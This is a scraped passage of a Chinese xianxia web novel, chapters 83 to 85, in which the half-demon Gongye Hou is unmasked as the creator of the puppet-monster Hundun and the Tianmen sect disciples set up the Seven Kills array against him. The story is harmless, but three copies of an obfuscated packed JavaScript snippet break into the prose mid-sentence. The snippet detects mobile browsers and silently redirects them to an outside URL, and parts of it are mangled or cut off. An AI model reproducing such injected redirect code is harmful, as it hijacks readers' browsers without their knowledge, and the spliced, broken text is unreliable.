怎么会?不,不可能。 可是,的的确确,没有错。 是它。 他绝不会认错。 苏有容见他神情有异,忙问道:“怎么了?” “你知道,混沌吗?”李刻青缓缓说。 混沌?苏有容皱眉:“知道。” 每一个修行之人,或多或少,都听说过它的名号。 一千三百年前,混沌在人间大地上凭空出现,它穷凶极恶,吞噬人头,人人自危,天下险些大乱。还好,最终,当时的天地宗主衡阳连同众修士,在人间大地上设了一个阵法,名为七杀。 七杀阵虽强悍,但只要是阵法,便会有阵眼这一薄弱处。为了不让混沌从阵眼中逃脱,当时隐居在蓬莱岛的钟乐以身入阵,融入阵眼,封住了混沌。 而后,七杀阵沉入地底。 修士们对混沌心有余悸,无人知道它从何而来,也无人知道它真正的目的到底是什么,但大家知道,一定不能让它再现世。 这千百年来,修士们一直关注着地底的七杀阵。若七杀阵有异常,修士们早就发现了,不会就这样任混沌逃出阵法、在人间流窜的。 可是,为什么,本该在阵中的混沌,此时却离奇出现在天门宗,并且还杀了大师兄? “死阵中的混沌绝不可能逃出来。”李刻青说。 钟乐将自己化为不死不灭的傀儡,用自己的一身修为挡住阵眼、困住混沌。他信她,它是不可能逃出来的。 况且,死阵也的确未破。 可是,这又是怎么回事? 苏有容和李刻青对视一眼,在彼此眼中都看到了凝重。 “世上出现了,第二只混沌。” “啊——” 周浮生突然疯狂大叫了一声,原来不知何时,他悄悄朝段匆的结界靠近,拔出了剑。 李刻青瞬间意识到,当年是钟乐封印了混沌,如今,又出现一只混沌,它自然对她仇恨到了极致。如今有第二只傀儡出现,也自然是要杀了她报仇! 他眉眼间杀气徒生,可正在这时,他忽然愣住了。 只见,周浮生的剑并未挥向包围着段匆的结界,而是……刺入了同样出现在段匆身边的周丁异的胸口。 86. 第83章 “大师兄!”宁芙惊叫一声,他在干什么!他要杀了师父,他自己的亲爹! 这一刻,她的心彻底绝望和冷静下来。 傀儡的确,是无情无爱的东西。眼前之人,早已不是她所爱之人了。 电光石火之间,宁芙拔剑,“铛”的一声斩断周浮生的剑。 她眼前浮现出许多年前,她初上天门宗时的画面。那时她被爹娘所丢弃,心中酸楚,郁郁寡欢,常一个人怯怯的躲在角落中,也因此,受到不少其他弟子的欺负。 那日,师门中给每个小弟子发了一把桃木剑,嘱他们好好保管。可她的剑却被另一个弟子一脚踩断。 那时,她太小了,太微弱了,也太惶恐了。 她木木的跪在地上,捧着她的断剑,心中一片茫茫然,只想着师父从此就要将自己赶出山门,而爹娘见她被赶出辛辛苦苦才选拔进入的大门派,想必又羞又怒,他们不会再要她的,爹说过了,他们家没钱,已经养不起她,他们指望着她,而不是她指望他们。 天下之大,她已无处可归。 便是这时,一把桃木剑轻轻的朝她抛下来,宁芙怔怔抬头,看到一个一脸傲然的少年,漫不经心的朝她点点头。 那时,灿烂的阳光从那少年的背后倾泻下来,他衣角飘飘,身姿俊秀的站立在天门宗巍峨广阔的亭台楼阁中,美的就像画中的仙境一般。 这么多年了,他们都长大了。他虽有大师兄之名,却游手好闲,一事无成,可是,她从未轻视过他。她爱他,尽管他早已不记得当日的那把桃木剑。 可是,如今他成为了傀儡,他要杀了师父,他与混沌为伍,他是他们的敌人。 她只能…… 周浮生看着自己被斩断的剑,微微愣神,宁芙趁此时机,一剑直向周浮生心口,同时,泪水滚滚而下:“对不起,大师兄。” 却没料到周浮生足尖一点,轻巧跃到她背后,一把握住她的手腕,让她手中的剑动弹不得。宁芙流泪道:“放手!” “师妹。” 宁芙周身一震,手上霎时便失去了力气。 周浮生轻轻的、怜爱的、如同叹息般的声音在她耳边响起:“你大概是糊涂了,傀儡是杀不死的。”他又强撑着开玩笑道:“不过,若是你执意要杀你师兄,那我恐怕真的就要死了。” 宁芙的泪水已经如同断了线的珠子,她不可置信道:“大师兄,你……真的是你吗?你、你不是傀儡?” “不哭了。”周浮生走到她面前,轻轻擦去她脸上的泪水。 他本生着一双丹凤眼,狭长,上挑,微微的促狭之中带着十足纨绔和风流的气息。可是,此时,他就好像骤然换了一种气质,脸色苍白、沉稳、褪去往日轻浮。 “我不是傀儡。”他苦笑,“你们若不信,尽管来验。” 那么…… 真正的傀儡,周浮生要杀的人…… 苏有容面色一沉,唤周丁异道:“师父。” 周丁异眨眨眼睛,呵呵呵的怪笑起来。 只见,方才他胸口被周浮生刺了一剑,伤口很快便愈合,就如同毫发无伤。 李刻青大概明白周浮生方才的怪异举止了。 混沌真正杀掉的人不是周浮生,而是这天门宗的掌门人周丁异。可是,周浮生乃周丁异之子,父亲的异常,做儿子的怎么可能发现不了?但是,最开始,他铁了心的承认自己就是傀儡,不让大家对周丁异有所怀疑。 李刻青轻声道:“他若知道你如此维护他,想必,心中也是欢喜的。” “是吗?”周浮生有些苦涩的微微一笑。 最开始,他不愿爹爹被认出是傀儡,于是当他们怀疑他,他毫不避讳的便承认了。他想,只要他咬定了自己是傀儡,他爹便不会被发现,便可以安稳的活下来。 可是,后来他发现,他不能这样做。 混沌再度出现,恐怕,又会和一千多年前一样,吞噬人头,企图毁灭一切。那时,他天门宗理应担起守护天下的担子,他不能为了一己私欲,让他爹这个傀儡隐藏身份、伤害到大家。 “爹。”周浮生朝周丁异叫道。 周丁异呆滞片刻,忽地微微一笑:“好儿子,刚开始你是很好的,怎么忽然就不好了呢?难道,你不爱爹爹了吗?” 他的这些话,已经是被人操纵所说了。周浮生也不回答,微微一笑,忽地跪下来,将额头深深的贴在地上。 他缓慢朝周丁异磕了三个头。 十数年父子情分,从未刻意去珍惜,因为总觉得来日方长。但此刻方才懂得,多少风云变幻,原来只不过刹那之间。 “爹,我会为你报仇。”他说。 夜愈发深了。 一阵铺天盖地的大雾渐渐笼罩天门宗,远处的东西一概都绰绰约约、看不真切。 傀儡想要杀了段匆。但如此情形之下他自然不可能得手,于是只有在大雾中和众人沉默的对望。 李刻青的眉头微微皱起。 若傀儡是由混沌所操纵,而混沌杀段匆是因为仇恨,那么,混沌为何不自己出手呢?它明明就在这天门宗之中,可是,从方才至今,它却从未出现在他们的面前。 混沌如此强大,能够杀得了一代掌门人,却为何独独如此惧怕他们,只敢派傀儡出手? ——它在躲着他们。 为什么? 某一个瞬间,李刻青眉梢忽一挑,他破开段匆的结界,反向画出一个奇形怪状的符号,金光闪过,安眠咒被破。段匆霎时睁开眼睛,怒道:“猫妖,你干什么!” 她发现了,在山洞的时候她就发现了,她拼命的想醒来,可是无能为力,只能浑浑噩噩的在安眠咒禁锢下继续沉睡过去。 李刻青本不欲让她看到楚欢变成了那番模样,但他心中有一个猜测,此时不得不需要她醒来才能够验证了。 他俯身在她耳边,轻轻的说了些什么。 段匆听着,神色渐渐变得凝重。 最后她望一眼大雾笼罩的天门宗,看了一眼他们对面周丁异的身影,飞快的抹了把眼睛,然后抬起头,神色坚毅,清清楚楚的说:“混沌,出来吧。” “我已经有解决你的办法了,我知道,你怕的是什么。” “七杀阵吗?”周丁异微笑,“一千多年前,无数修士和妖怪,合力才在这人间大地上设此一阵。而后为了囚禁混沌,你们更是损失惨重。尤其你,天师钟乐,将自己做成傀儡,才侥幸封印了混沌一千多年。可今时今日,你不过一缕魂魄,法力微弱,又怎么可能再次将它封印?” 他已经不是师父了。段匆眨眨眼睛,嘲道:“傀儡懂个屁啊。” “更何况,”她的神色慢慢淡下来,而后嘴角上弯,竟是露出了一个睥睨一切、明媚张扬的笑容,一时之间,让人觉得,千百年前的天师钟乐,大概也就是如此。她道:“今时今日,我想要让混沌消失,早已不再需要七杀阵法。你以为,时至今日,我还不知道混沌是什么?” 周丁异的神情微微一变。 这时,天门宗的大门被拍响。段匆令小弟子打开山门,山门乍开,便立马有一个急促的脚步声朝这边奔了过来。 大雾将一切都掩盖的影影绰绰。待得脚步声近了,这个人的人影终于显现出来。 其他人面上皆有疑惑之色,因为这是个他们从未见过的容貌清秀的男子。 而段匆和李刻青俱是一怔。 “公、公冶?”段匆有些不可置信的道。 一千多年了,他竟还活着。 而且,当年正是段匆首创了傀儡之术,她不必看那道红线,就能发觉来人是否为傀儡。而公冶侯并不是傀儡。 “对不起,阿乐,”公冶侯喘着气,神情挣扎痛苦,“我……是半妖。” “当年人妖二族矛盾激烈,我虽摒弃妖帝残暴的做法,只当自己为人,而不愿与妖为伍,但我终究害怕你们怀疑的目光。所以,我用身上人的血脉压制过了妖的血脉,我骗你们,我是人。” “都是过去的事了。”段匆摇摇头,“当年在白帝城,我以为你和楚欢都……死在了那第三场屠杀中。” 公冶侯慢慢走至她身旁,苦笑:“那时七杀阵出现,人妖混战,我奋力在混乱中保全我和楚欢,但是渐渐的,我发现,楚欢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659655|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对劲。” 段匆黯然道:“傀儡。” 公冶侯苦笑着点头:“傀儡。那时候,她就已经成为傀儡了。” “在衡阳破开七杀阵后的第一瞬间,她便立马趁着混乱尚未完全结束,偷偷的离开。我心知不对,于是偷偷跟在她身后,想看看她要去什么地方,要见什么人。当时我觉得,莫名出现在白帝城的七杀阵,一定与她有关。” 段匆急急追问:“后来呢,你看到了什么?” 公冶侯说:“我看到她去见了衡阳。” 段匆脸色一变,双拳紧握:“当真,是他?” “阿乐,当年你的猜测是正确的。衡阳根本就不想与妖族和解,他表面上说不会阻止我们,但暗地里,他花尽心思,在我们都未发觉之时杀了楚欢,将她做成傀儡,”公冶侯眼中泪光闪现,深吸一口气,方才平复下来心绪,继续道:“他提前在白帝城设好七杀阵,并且,命令楚欢,送给你那枚平安扣——那根本不是我从人间买来的小饰品,从一开始,那就是被衡阳设了禁术的阴毒之物。它可以蚕食人的法力,佩戴它的时间越久,法力消失的就越彻底。衡阳算好了时间,在你登上九龙台,宣布人妖二族应和平相处的时候,正好法力彻底被那枚平安扣蚕食殆尽。重获法力的方法,便是打碎那平安扣,可是,那时我们都不知道一切都因它而起。” “阿乐,衡阳成功的挑起了第三次屠杀,将罪责归给你,而他又自己破开七杀,将功名留给他。但他的野心还远远不止于此,当时,我将楚欢从他手中救了出来,也因此,这些年来一直被他所追杀。” 这时,李刻青的眉梢微微一挑:“衡阳不是已经死了吗?当年,我与小草精亲眼见证了他的死亡,他死前,还同我们说抱歉,想与我们和解。” “不,”公冶侯神色郑重的摇头,“他没有死,他故意骗过了你们。他亦是,半妖。” “今夜,楚欢忽然失踪,我想,一定是他又操纵着她去做什么事了。我打听到当年你并没有死,而是重新为人,成为了天门宗的弟子,我便来找你了。阿乐,”公冶侯压下慌张,凝重道,“混沌所听从的也是他的号令,我不知道他真正想要做的究竟是什么,但我知道,我们必须得阻止他。” 这时,只见一群传音灵蝶出现在了大雾之中。 它们急促的拍打着翅膀,表示所诉说之事十分的紧急。而听罢灵蝶之中的声音,众人的眉头都紧皱起来。 灵蝶是由大大小小的门派、还有民间的修士传来的,而它们的消息几乎都是相同的:天下各地都发生了暴乱。 一夜之间,出现了许多嗜血恶毒的妖怪、还有许多残暴无良的人,他们开始没有差别的攻击其他的人和妖。这些残忍的人和妖的妻儿亲友苦心婆心、潸然泪下的劝说,却都全然无果。 “也许,这就是衡阳想要的。”公冶侯握起拳,咬牙道,“这些年来,他一直在暗中发展这些对人妖二族心怀不满的力量。他想毁灭一切——不论是人,还是妖。” “原来如此。”段匆转向公冶侯。 在这个瞬间二人对视,段匆发现,一千多年过去,公冶侯的眼睛仍旧如他们在娑罗村初遇时一般清澈。依稀间,段匆好像又听到了那串骨风铃清脆的声响。 妖气徒然大盛,一记凶狠致命的掌风袭向段匆脑后,但段匆的腰间却被李刻青轻轻一揽,错开掌风,同时折扇展开,犀利的扫向公冶侯的喉咙,公冶侯向后倾斜,一路后退,李刻青一路紧逼,正当公冶侯就要被伤到的时候,一道黑色的影子晃晃悠悠,从侧面出现,袭向李刻青和段匆二人。 “混沌!” 李刻青带着段匆一个空翻,躲过了袭向他们的混沌,然后飞快的连退数步,与公冶侯和混沌拉开距离。 “公冶侯,”千年前,千年后,她终于看清了这一切的幕后主使,许多疑惑也连成一条线,有了答案,只是,此时段匆却并不觉得开心,她叹道:“为什么?” 一旁众人皆是一惊,只见,方才还有怯弱之态的清秀男子,此时气势徒变,长发肆意飞散,眉眼含笑,施施然向前两步,惋惜的道:“阿乐,你本不该,活的这么久的。” 87. 第84章 “你很聪明。”李刻青突然说。 “只是可惜,”他微微笑了笑,“有些太聪明了。” 当年,很多修士就曾疑惑过,混沌非人非妖,那么,它究竟是什么? 而今,明明混沌已经被封印,可是却又出现了第二只混沌,就好像它是被人故意制作出来的。而且,它杀不死。只是一团黑雾,散了,还能重聚,无论如何都杀不死。 这样的它,究竟是什么? “傀儡。”李刻青微笑道。 闻言,公冶侯冷冷一笑:“你果然发现了。” 最开始,楚欢想要做的,应该是杀了段匆。但是,因他并不想她看见楚欢如今的模样,于是用安眠咒让她沉睡,并在山洞口设了结界。楚欢没有办法杀她。 于是,就有了第二只傀儡,也就是周丁异。公冶侯想利用周丁异杀了她,但未料到,周浮生发现了周丁异的异常,也尽早的告诉了大家,于是周丁异被防备,也没有办法杀了段匆。 而他究竟为什么要杀段匆呢? 此刻一切都明了了——并不是因为仇恨,而是因为恐惧。 混沌强大无比,可是,他却并不愿让混沌出现在段匆面前。这是因为,混沌自己本身,也是傀儡。 而这傀儡之术,最开始,是由天师钟乐所创的,她既能创它,那便,也有可能知道解了傀儡之术的方法。 “我唤醒她,与她耳语几句,而后她言谈之间,故意让你以为她已经看透了混沌的身份。这时,你自然心急如焚。混沌是你最强大的倚靠,你绝不能失去它。于是,你现身了。” “你以为她还未怀疑你,想来到她身边,趁她不备,永远的杀了她。可是你却没想到,我们等的,就是在这个时候出现的人。” “混沌是傀儡,一开始,这不过是我们的猜想,但你的出现,真正的验证了这一点。公冶侯,衡阳与此事根本无关,千年之前,就是你在背后搞鬼。” 白雾中,渐渐走出另一个人影来。白茫茫的大雾让这里每一个人的身影变的绰约,却没能掩去这个人的丝毫光华。只见她身上的斗篷在大雾之中波光粼粼、熠熠生辉。 “楚欢。”段匆握紧了拳,咬牙道。 楚欢却恍若未闻,与周丁异一左一右,立于公冶侯身侧。而混沌,就如一抹影子,飘在公冶侯的头顶。 公冶侯黑发飞散,笑容妖孽:“楚欢本是凡人,只有百年寿命,朝夕之间,转瞬即逝。但是,将她做成傀儡,她就能永远的陪着我们了,这样不好吗?” “你闭嘴!”段匆道。 “公冶侯,你怎么会变成这样?我们初遇时,你还只是那个拿着骨风铃……” “钟乐,”公冶侯嘲讽的道,“你觉得,那时候你所认识的我,就算真正的我吗?你真的觉得,是我变了,而不是,我一直都是这样的人吗?” 段匆一愣。 “我并不是人,而是半妖,一半人的血脉,一半妖的血脉。的确,最开始的时候,我也曾天真过,那时候,我爱着任何一族。我想,我既是人,又是妖,多好。我要爱人,也要爱妖。但渐渐的,我发现,一切并不如我所想象的一般完美。” 公冶侯喟叹道:“我爹为人,我娘为妖,他二人真心相恋,却被卷入人妖二族仇恨,最后,遭受迫害,双双身死。留我一个在世上,我同人交好,他们却因我一半妖的血脉而恐惧我、仇恨我,我同妖交好,可妖却又因我那一半人的血脉而憎恶我、唾弃我。天地之大,我爱他们任何一族,可是,却无任何一族爱我。” “那一年,我五岁。” 只听公冶侯继续道:“有一日,一群与我差不多大的孩子,用弹弓打瞎了我的一只眼。”他指着自己的左眼,微笑:“这只眼,是瞎的。钟乐,你与楚欢这么久了,发现过吗?” “那一日之后,我便决定了,我今后所要做的事是什么。你不知道,其实那个时候,我仍旧爱人,仍旧爱妖,”他微笑着,“即使他们不爱我也没有关系,他们如何欺辱我也没有关系。” “但是,正因为我如此爱他们,我才受不了两族互相的仇恨与屠杀。你以为我在乎自己这只眼睛么,错了,”公冶侯将掌心贴在左眼前,灵光闪过,他那只假眼珠被取了出来,然后,他将它不在乎的丢在地上。 一行鲜血从他的眼角滑下,他诡丽的微笑:“我决定,结束这一切,一切的仇恨与血腥,肮脏与污秽。只可惜,最初我虽有此心,却并无此力。直到,我遇见了你,见识了由你所创的傀儡之术。” “那时你为斩妖帝,杀尽了寻乌镇中人,然后将他们死后魂魄中弥留不散的怨气化为法力,为你所用。而傀儡之术,则是你怕他们被宣离察觉不对劲,而操纵他们仍如往常一样的衣食住行。那时你惊才绝艳,法力高强,傀儡之术,不过是你手中一个小小的掩人耳目的术法罢了,你并不放在心上。可是,我却如获至宝,欣喜若狂。” “你只是操纵他们日常生活,而我想,如果我能操纵他们为我杀妖杀人,那他们便是我最好的兵器。只可惜,如果我希望我的傀儡能够打败其他所有人和妖,那他就必须足够强,可是当时,世上还没一个人能够强过你。” “你想杀了我,将我做成傀儡?”段匆握紧双拳,狠狠的瞧着他。 “不错,”公冶侯妖冶的微笑:“只是,当我还在冥思苦想我该如何才能杀了你时,我听闻了你要屠尽天下妖的命令。于是我想,反正,我的目的是屠尽天下人与妖,现在你既要帮我完成一半,那就待你先完成杀光妖的任务,我再杀了你。” 那个时候,就是楚欢与公冶侯离开她身边的时候。那时候,楚欢是因为不赞同她太过残忍的做法,而公冶侯,那时候,已经在筹谋着如何借她的手杀尽妖,然后再杀了她了。 “只可惜,你去了极地,一去三年。而衡阳,却并没有屠杀尽妖怪,而是囚禁他们,折磨他们,这种办法虽更残忍,更让妖胆战心惊,可是,却并不是我想要的。别忘了,”公冶侯柔情道,“我爱他们。” 也是在那时候,钟乐离开了极地。 杀妖之路,她失去了太多,最后,终于明白恨与屠杀不是解决一切的东西。她决定,方下屠妖之愿,让人妖二族和平相处。 只是,签订和平协议那一日,白帝城,被人设了七杀阵。 “不错,那枚平安扣,其实是我令楚欢送你的,它可以吸收蚕食你的法力。不过那时候楚欢还未被我做成傀儡,她当真以为这只是我从人间买来的小饰品,于是,她亲手将这枚平安扣挂在你腰间,还记不记得,当时,她说,白玉大方简洁,红衣灿烂热烈,这两者,十分相配。” 段匆闭上眼,往事如在目底。那时,他们已约好要使人与妖和平相处,鸿鹄壮志,似乎马上就能实现。 只可惜,一切都被毁于第三场屠杀。 “我在平安扣上设禁术吸收了你的法力,但就在我想趁着混乱杀了你时,我有了一个新的发现。” “白帝城是怎样一个地方?人杀妖,妖杀人,人与妖再次屠杀,经过这三场屠杀,白帝城之中,已经满是化之不去的怨气,怨气那么浓,那么浓……” 段匆神色一僵,随即,升起几分荒唐的苦涩之感。 只听公冶侯道:“我想起了你曾将寻乌镇人的怨气化为法力。既怨气能够化为法力,为人所用,那,怨气又何尝不能做成傀儡,为我所用呢?” ——她取之为用的怨气,她的傀儡之术,被公冶侯结合起来,用三场屠杀所积累的怨气,做出了一个天底下最强大的傀儡。 那,便是混沌。 “真的,钟乐,我该好好谢谢你。若没有你的所为,我怎么可能得到启发呢?而且,若没有你引发的后两次屠杀,怨气又怎么可能那么浓,混沌又怎么可能那么强大呢?自然,我是一个知恩图报之人,我既能造出混沌,那么,就不必再杀你了。于是,我放过了你,让你和猫妖回到了蓬莱岛。” “然后,我用了七年的时间,真正造出了混沌。” 当时,无人知混沌从何而来,也无人知混沌到底是什么东西。它实在太强大了,而且,没人能杀得死它。于是,只能任一条又一条的生命被它所吞噬。 “对了,你知道,混沌是如何进行屠杀的吗?”公冶侯将两指放在脖子上,轻轻抹过,笑吟吟道:“就这样。它吞噬人头。有没有觉得,这样的屠杀方式很熟悉?” 段匆的脸色渐渐苍白,浑身好像泡进刺骨的冷水里。 这时,她的手忽然被一只温暖的手牵住,段匆怔怔抬起头,看到猫妖站在她身边。 “你没有做错什么。”他柔声说。 淡淡的杏花香包围在身侧,让她有种熟悉的安心感。段匆按捺下心头那些不安,勉强笑了笑,点点头。 “自然,你是没有做错的。”公冶侯笑道:“反正我可是很感谢你呢,混沌之所以那么强大,除了那三场屠杀积累的怨气,还有一个人的怨气。那便是这世上最强天师,钟乐的怨气。” 段匆猛地一僵。尽管猫妖握着她的手,她还是如落冰窟。 “你苦求和平,失败之后,他们划破你的脸,削去你手指的骨肉,割去你的……”公冶侯微微一笑,“他们给了你无尽的侮辱与永恒的伤口。钟乐,你从未说过你恨他们,甚至七年之后,你得知混沌的存在,不惜牺牲自己,也要封印混沌,救了他们。” “可是,钟乐,你真的没有恨过吗?” 段匆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小弟子们尚还稚嫩,无法抵御那些人与妖。很快,他们就来到了这里,将他们围了个水泄不通。 段匆扫了周围一圈:“我体内有猫妖七瓣妖丹的事,是你告诉重明的?” 公冶侯微笑:“不错。并且,妖帝之子宣离,你或许猜测是那只黑色的小妖救了他,但其实,是我救了他。当年你本让衡阳杀了他,但衡阳仇恨妖物,觉得与其杀了他,不如折磨他,于是,他被生生折磨了近六百年,这时,我遇到那只黑色小妖,做她个顺水人情,将他救了出来。” “不过,我本以为他恨你,一定会杀了你,却没料到他是个彻头彻尾的废物,没能杀了你,只杀了他自己。” “为什么?究竟为什么?”段匆脸上似有淡淡的悲伤。 “你口口声声,说你爱人,也爱妖,可你最终的目的却是将一切都毁灭。但是,爱一个东西,不是应该好好的将它保护吗?如果你爱他们,你就不应该在当日设下死阵,不应该让两族重新仇杀,如果你爱他们,你就不应该制造出混沌,不应该让它吞噬一颗又一颗头颅。你真的……爱他们吗?恐怕,你一直都在恨,你被他们欺辱,失去你的父母,失去你的眼睛,你恨透了他们。” “不。”公冶侯一脸的笃定与毫不动摇。 “不过是一只眼睛,没了又如何?这于我,不过是无关紧要的沧海一粟。我很清楚,我爱他们,而正是因为爱他们,所以忍受不了他们彼此之间的仇恨,忍受不了他们互相屠杀,忍受不了他们算计、背叛,忍受不了他们在危难的夹缝中苦苦求生,忍受不了他们得到又失去,忍受不了他们渺小一生、悲苦一生。我爱他们,可我越爱,就越是失望。这片大地,太肮脏了,太黑暗了,所以,我要结束这一切。我要这片大地重新变成白茫茫的、干净的一片。那时候,一切都那么纯粹,一切都是它最初的样子,不好吗?” “天师,其实你我所求,是一样的东西,”公冶侯伸出一只手,“何不与我一起?” 参商疯狂的呼啸着朝公冶侯飞去,肃杀之气似乎要斩断一切。 但…… 公冶侯微微一笑,打个响指,霎时撑开一道流光溢彩的结界。很轻易的,便阻挡住了参商剑。 “天师,你以为,如今还是一千多年前吗?” “衡阳知晓水月镜,在第三场屠杀当日,暗自抽走你一缕魂魄,才让你有了再次活过来的可能。可是毕竟,一缕残魂,修炼一生,也注定微弱无能。” 段匆一时百感交集。 她曾想过,或许是衡阳抽了她的一缕魂,但是,那时她太恨衡阳了,她坚定的认为,七杀阵是衡阳所设。 衡阳以为当日的七杀阵只会杀妖,他有私心,并未告知,但他的确,不算是一个小人。 只是沧海桑田,衡阳已经死去一千多年了。 “天师,过来吧。我们都一样爱这世间,只是,你的爱用错了方式,何不与我一道,换一种方式来爱呢?” “我曾经所作所为,或许,我已经分不出对错了。”段匆冷冷的看着公冶侯,“但我知道,今日杀了你,一定会是个正确的决定。” 李刻青微微侧目,看她一眼。 88. 第85章 “你诓了我,但是,我却也并不是毫无收获。” “我以为你知道傀儡之术的解法,但现在看来,若是你能解得了傀儡之术,这么长时间了,你怎么还会任你师父和楚欢这样跟在我的身侧?” 段匆望望大家,苦笑。她的确,无法解了楚欢和师父的傀儡之术,同样,也解不了混沌的傀儡之术。 她知解法,可是,傀儡之术,须得施术之人自己才能解。若不是施术者自己主动解,那么,即使杀了这施术之人,傀儡之术也仍会永久的存在。 这时,一只传音灵蝶从大雾中飞来,栖落在段匆肩膀上,一个女子声音从中传来:“段匆,天下多地发生暴动,暴乱者神色呆滞麻木,刀剑穿其身而过,却又很快便愈合复活。我觉得,他们好像已失去了自己的意志,只是一具由人操纵的傀儡!” 谢蕴!真是许久不见了,段匆道:“不错!正是傀儡!” “好,我已从朝中派兵,联络各地门派和修士,与他们一同对付这些傀儡……”那边隐约有刀剑碰撞之声。 段匆:“你现在就在和他们作战?” 只听利刃没入血肉之声,那边谢蕴喘了口气,应该是击退了某个傀儡:“不错。” “你们天门宗如何?可需要支援?” 傀儡杀不死,来多少人也没用。更何况,有混沌在此,来多少人也是白白送死。段匆抬头,看见苏有容在摇头,周浮生在摇头,宁芙也在摇头,小弟子们,神色虽都稚嫩,但也俱是坚毅的摇头。 段匆道:“不必了,区区傀儡,我天下第一大派尚且还解决得了。” “哈哈哈哈哈!”谢蕴笑道:“好,厉害!” “堂堂丞相,就这样直面傀儡,”段匆笑道:“你可多注意安全。” “好,你也务必多保重,待傀儡解决了,我们再见。” “我倒要看看,你们如何能解决?”雾气愈发浓郁,公冶侯笑容妖冶。 若是天门宗没有困住混沌,那么待它流入民间,恐怕,天下将民不聊生,成为杀戮与鲜血的地狱。 大雾中,周浮生望了眼天门宗绰约的亭台楼阁,其实,他已经很久很久,没有正经的做过什么事了。以前,有掌门人,有他爹,天门宗的担子被他们挑在肩上,而他,每日轻松悠闲,自在度日,他都快忘记,上一次正经执剑,为泽被天下百姓,是什么时候的事了。 但现在,那些高高站立,为他们撑起一片天的人,早已不在。 几乎是同一个瞬间里,宁芙望向周浮生,她的嘴唇微不可察的动了下:“七杀阵?” 周浮生微微点点头。 与此同时,苏有容也朝他们露出一个了然平静的微笑。 天门宗,乃天下第一大派。 掌门人最初创建它,是为匡扶正道,造福苍生。 多年来,天门宗保得一方百姓安宁,获得无数赞誉与感激。后来,重明被妖帝之子所杀,天门宗的宗旨发生了一些变化,除恶,而非单纯除尽每一个妖,但有些东西是没有变的。 匡扶正道,造福苍生。 “师妹,教我们布阵吧。” 段匆一怔,随即眼中渐渐有泪花浮现:“好。” 七杀阵乃天底下最为强劲的阵法,布这样一个阵法需要耗费极大的法力,而且,如今的妖怪早已不像千百年前那么暴戾了,所以,如今的修士们已经不怎么学习七杀阵。苏有容、周浮生、宁芙三人都不熟悉这个阵法。 但是,段匆却对它了如指掌。 她让四人成四角之势站立,其实,若有八个人,每个方向各一人,阵法会结的更快一些。但,此时也没有多余的人了。 小弟子们吵吵嚷嚷着要一同布置,但他们如此年幼,不说法力还不足,就算足够,他们也不会让小弟子们来布阵的。 段匆手中结印,画七杀阵的一角于地,苏有容、周浮生、宁芙也纷纷结印画阵。 地面上,金光网罗成的咒印逐渐从四个方向汇聚,正在这时,段匆的手腕被一只手抓住。 段匆微微抬头,看到猫妖目光灼灼的看着她:“我呢?不要我布阵吗?” 段匆:“你……你是只猫呀……” 猫妖仍旧盯着她,段匆实在心虚了,讷讷道:“我没有权力替你做决定,更何况,这是我天门宗的事,与你无关。” 李刻青笑了,雾气中隐约透出几缕清冷的月光来,落在他的身上,青色的如水般的衣衫,黑色的垂落的乌发,将他映照的仿若画中之人。他笑吟吟道:“你怎知,我的决定就不是布阵?更何况,若阵法不成,混沌屠戮一切,我难道不算是将来的受害人,又如何与我无关?” 段匆低着头,其实,真正的原因,是她有私心。 他有九条命,有八条,都是为了她而丢。如今只剩下最后一条,她不想,让他再为她而丢掉了。 “在这么短的时间内结一个这么强劲的阵法,是,会损耗自己的内力与生命的。” 苏有容挑眉道:“师妹,莫非你以为我不知道?师姐虽不知结阵,但理论却是烂熟于心的。” 宁芙幽幽道:“我也知道,师姐莫不是以为,当日那节早课,我与大师兄一样旷掉了?” 周浮生怒道:“谁说的!你可别冤枉我!我、我也知道!” 猫妖十分无辜道:“我不知道。” 三人齐刷刷看着他,猫妖微笑道:“不过,那又如何?” 一时间,段匆眼眶微涩,重重点了点头。 她问道:“以何为阵?” 苏有容道:“只以天门宗的话,天下其他的傀儡也是个麻烦。” 周浮生缓缓道:“天门宗为天下第一大派,那么,就以天下为阵吧。” 阵法的范围越大,就代表需要损耗的内力越多,自身受到的伤害也就越大。段匆很快便觉得力不从心,眼前一黑,一口鲜血就要喷涌出来,她咬咬牙,忍住了。 抬头看,金光之中,她对面的宁芙,也是脸色苍白。 四人之中,就她二人法力最弱了。 宁芙觉察到段匆看她,也抬起头来,本欲不屑的冷哼一声,但不知怎的,许久,也没能冷哼出声。一个本是鄙夷的表情,到最后,反而化为了一个释然与歉疚的笑容。 段匆一愣,同样的,对着宁芙笑了笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666537|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反过来,宁芙也是一愣,默了一瞬:“其实当时,我下毒,不是想害死你的,我是想等妖怪来了,你打不过她,那时,我来救你,大师兄就可以、可以看到我。我和掌门人揭发你杀了人,我是真的不知道,他想杀你、夺你寿命,我……” 罢了。到底,她小肚鸡肠,处处使计。 段匆默默道:“其实,我也没有真正的恨过你。”本来,也就没有什么值得的大恨。 公冶侯自知不能让他们结成七杀阵,在一开始便派那数名傀儡和混沌去围攻他们。但他们提前设起了一个结界,将傀儡们阻挡在外,将自己和小弟子们保护在其中。 